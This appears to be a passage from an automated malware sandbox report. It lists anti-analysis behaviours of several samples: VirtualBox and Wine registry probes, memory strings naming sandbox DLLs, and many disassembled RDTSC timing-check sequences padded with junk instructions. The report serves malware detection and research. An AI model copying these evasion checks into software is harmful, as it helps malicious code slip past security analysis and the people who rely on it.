Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp, ac68c6b737.exe, 00000015.00000002.2764543210.000000000018C000.00000004.00000001.01000000.00000014.sdmp, ac68c6b737.exe, 00000015.00000002.2765777233.0000000000C00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp, ac68c6b737.exe, 00000015.00000002.2764543210.000000000018C000.00000004.00000001.01000000.00000014.sdmp, ac68c6b737.exe, 00000015.00000002.2765777233.0000000000C00000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE
Source: kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: zudFSfy.exe, 00000009.00000002.2486574208.0000000003595000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002D27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLT-^Q
Source: zudFSfy.exe, 00000009.00000002.2486574208.0000000003321000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLCUCKOOMON.DLL

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6F2F second address: 9C6F67 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F684908B756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F684908B761h 0x00000014 jmp 00007F684908B768h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6F67 second address: 9C6F7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F684904922Ch 0x0000000e ja 00007F6849049226h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C654D second address: 9C6579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F684908B763h 0x00000009 jmp 00007F684908B764h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6579 second address: 9C6581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9D46 second address: 9C9D57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9D57 second address: 9C9D72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jnc 00007F6849049226h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 push ecx 0x00000014 push esi 0x00000015 pop esi 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9E83 second address: 9C9EA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B769h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9EA8 second address: 9C9ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6849049226h 0x0000000a popad 0x0000000b jmp 00007F6849049235h 0x00000010 popad 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 jc 00007F684904922Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA010 second address: 9CA021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F684908B756h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA021 second address: 9CA027 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA027 second address: 9CA061 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F684908B758h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jno 00007F684908B760h 0x00000016 mov eax, dword ptr [eax] 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F684908B766h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA061 second address: 9CA080 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684904922Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e jne 00007F6849049228h 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA080 second address: 9CA12C instructions: 0x00000000 rdtsc 0x00000002 je 00007F684908B756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop eax 0x0000000c jmp 00007F684908B764h 0x00000011 push 00000003h 0x00000013 push ebx 0x00000014 mov dword ptr [ebp+122D2316h], ecx 0x0000001a pop edi 0x0000001b push 00000000h 0x0000001d xor edi, dword ptr [ebp+122D39D3h] 0x00000023 jmp 00007F684908B761h 0x00000028 push 00000003h 0x0000002a call 00007F684908B759h 0x0000002f jmp 00007F684908B765h 0x00000034 push eax 0x00000035 jmp 00007F684908B75Ch 0x0000003a mov eax, dword ptr [esp+04h] 0x0000003e jo 00007F684908B765h 0x00000044 jmp 00007F684908B75Fh 0x00000049 mov eax, dword ptr [eax] 0x0000004b jmp 00007F684908B767h 0x00000050 mov dword ptr [esp+04h], eax 0x00000054 pushad 0x00000055 pushad 0x00000056 pushad 0x00000057 popad 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA12C second address: 9CA196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6849049239h 0x0000000a popad 0x0000000b pop eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F6849049228h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 jnl 00007F6849049227h 0x0000002c lea ebx, dword ptr [ebp+1244EC95h] 0x00000032 push edi 0x00000033 mov edi, 4E0BA4ABh 0x00000038 pop ecx 0x00000039 push eax 0x0000003a pushad 0x0000003b pushad 0x0000003c jbe 00007F6849049226h 0x00000042 jno 00007F6849049226h 0x00000048 popad 0x00000049 pushad 0x0000004a push ebx 0x0000004b pop ebx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CA249 second address: 9CA278 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B75Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e jng 00007F684908B758h 0x00000014 pushad 0x00000015 popad 0x00000016 push edi 0x00000017 jl 00007F684908B756h 0x0000001d pop edi 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 pushad 0x00000022 push ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EB29E second address: 9EB2AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F684904922Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EB2AE second address: 9EB2D5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F684908B769h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F684908B756h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EB2D5 second address: 9EB2F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6849049239h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EB2F2 second address: 9EB305 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F684908B75Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1DC4 second address: 9C1DE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6849049230h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F6849049226h 0x00000012 jo 00007F6849049226h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1DE7 second address: 9C1DFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jno 00007F684908B756h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1DFB second address: 9C1E23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F6849049226h 0x00000010 jmp 00007F6849049238h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E918F second address: 9E9194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E98AB second address: 9E98B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E98B2 second address: 9E98CC instructions: 0x00000000 rdtsc 0x00000002 jg 00007F684908B764h 0x00000008 jmp 00007F684908B75Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E98CC second address: 9E98D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9BE5 second address: 9E9BEB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9D45 second address: 9E9D49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9FC7 second address: 9E9FD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B75Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9FD9 second address: 9E9FF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684904922Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a jg 00007F684904924Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9FF4 second address: 9E9FFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA250 second address: 9EA28E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jo 00007F6849049226h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jno 00007F6849049226h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a jmp 00007F684904922Ch 0x0000001f popad 0x00000020 pop ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F6849049232h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA28E second address: 9EA298 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA298 second address: 9EA29C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA29C second address: 9EA2A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA2A0 second address: 9EA2A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA2A8 second address: 9EA2B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F684908B756h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA2B2 second address: 9EA2B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B29DB second address: 9B29FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push ebx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop ebx 0x0000000b push ecx 0x0000000c jmp 00007F684908B75Ah 0x00000011 pop ecx 0x00000012 jng 00007F684908B75Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA984 second address: 9EA99A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F684904922Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EAC79 second address: 9EAC7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EAC7F second address: 9EAC86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EAE42 second address: 9EAE46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EB123 second address: 9EB127 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4915 second address: 9F4920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F684908B756h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4920 second address: 9F494E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F684904922Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F6849049232h 0x00000012 jng 00007F684904922Eh 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F494E second address: 9F4952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4952 second address: 9F4972 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6849049236h 0x00000009 jc 00007F6849049226h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4B04 second address: 9F4B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4B0D second address: 9F4B13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F50A5 second address: 9F50AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F50AD second address: 9F50C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6849049235h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F50C6 second address: 9F50D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F50D0 second address: 9F50D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F521B second address: 9F5246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F684908B762h 0x00000009 popad 0x0000000a pushad 0x0000000b jo 00007F684908B756h 0x00000011 jmp 00007F684908B75Ah 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5246 second address: 9F5276 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F6849049226h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jnp 00007F6849049228h 0x00000017 push ebx 0x00000018 jmp 00007F6849049230h 0x0000001d push eax 0x0000001e pop eax 0x0000001f pop ebx 0x00000020 push ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F873D second address: 9F8747 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F684908B756h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F8B0A second address: 9F8B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F8B0E second address: 9F8B14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9239 second address: 9F923D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9301 second address: 9F9325 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xchg eax, ebx 0x00000007 mov dword ptr [ebp+122D33C4h], ecx 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F684908B764h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F948E second address: 9F94A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F6849049226h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F957C second address: 9F9586 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F684908B756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9879 second address: 9F987D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F987D second address: 9F9883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9DCF second address: 9F9DEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6849049232h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9DEC second address: 9F9DF6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F684908B756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA838 second address: 9FA84A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684904922Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA84A second address: 9FA89C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B763h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D1CDAh], eax 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007F684908B758h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f mov esi, dword ptr [ebp+122D37A5h] 0x00000035 mov dword ptr [ebp+12455CA1h], ebx 0x0000003b push 00000000h 0x0000003d xchg eax, ebx 0x0000003e push esi 0x0000003f push edi 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FCEFA second address: 9FCF0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6849049230h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FAFF4 second address: 9FAFFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F684908B756h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE441 second address: 9FE445 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE445 second address: 9FE44B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FE44B second address: 9FE45C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F684904922Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FF864 second address: 9FF868 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FF868 second address: 9FF8E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov esi, dword ptr [ebp+1244F208h] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F6849049228h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov esi, dword ptr [ebp+122D399Bh] 0x00000032 mov edi, dword ptr [ebp+122D1ED2h] 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebp 0x0000003d call 00007F6849049228h 0x00000042 pop ebp 0x00000043 mov dword ptr [esp+04h], ebp 0x00000047 add dword ptr [esp+04h], 0000001Dh 0x0000004f inc ebp 0x00000050 push ebp 0x00000051 ret 0x00000052 pop ebp 0x00000053 ret 0x00000054 mov esi, dword ptr [ebp+122D3ABFh] 0x0000005a sub dword ptr [ebp+122D33C4h], edi 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 jp 00007F6849049226h 0x0000006a pushad 0x0000006b popad 0x0000006c popad 0x0000006d rdtsc
